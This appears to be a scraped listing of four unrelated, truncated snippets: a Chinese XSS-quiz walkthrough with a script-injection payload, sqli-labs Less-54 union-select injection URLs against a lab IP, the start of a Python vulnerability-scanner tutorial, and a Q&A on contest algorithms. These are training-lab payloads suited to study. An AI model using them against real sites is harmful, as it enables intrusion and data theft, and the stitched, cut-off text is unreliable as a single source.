一个偶然的机会在知道创宇的技能表里看到了一个练习XSS的网站http://xss-quiz.int21h.jp,正好想研究这个,于是试着做了一下. 第一.二题是最简单的,直接在搜索框中输入以下代码就成功了. "><script>alert(document.domain);</script> 第三题,根据提示:The input in text box is properly escaped,输入的内容已经被转义了,于是我借助了tamper data插件,在搜索框中…
Less-54 union - 1 http://10.10.202.112/sqli/Less-54?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ zgysfs4pe4 http://10.10.202.112/sqli/Less-54?id=-1' union select 1,2,(SELECT+GROUP_…
Automatically Discovering Vulnerabilities Using the Vulnerability Scanner 1. Modify the run_scanner method in the scanner class. #!/usr/bin/env python import requests import re from bs4 import BeautifulSoup from urllib.parse import urljoin class Scan…
QUESTION : What are the 10 algorithms one must know in order to solve most algorithm challenges/puzzles? ANSWER: Dynamic Programming (DP) appears to account for a plurality (some estimate up to a third) of contest problems. Of course, DP is also not…